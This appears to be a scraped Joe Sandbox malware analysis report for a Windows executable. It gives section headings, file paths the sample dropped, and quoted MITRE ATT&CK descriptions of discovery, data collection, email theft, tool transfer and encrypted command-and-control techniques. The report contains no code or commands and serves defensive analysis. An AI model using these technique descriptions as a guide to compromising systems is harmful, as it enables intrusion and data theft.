
System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEBAKKJKKEBKFIDBFBA

C:\ProgramData\ECGIIIDAKJDHJKFHIEBFCGHCGH

C:\ProgramData\FIDHIEBAAKJDHIECAAFH

C:\ProgramData\GHDHDBAE

C:\ProgramData\GIJEGDAKEHJECAKEGDHJ

C:\ProgramData\HDAKFCGIJKJKFHIDHIIIEBGCBF

C:\ProgramData\JJECFIEC

Windows Analysis Report
ByVoN4bhSU.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre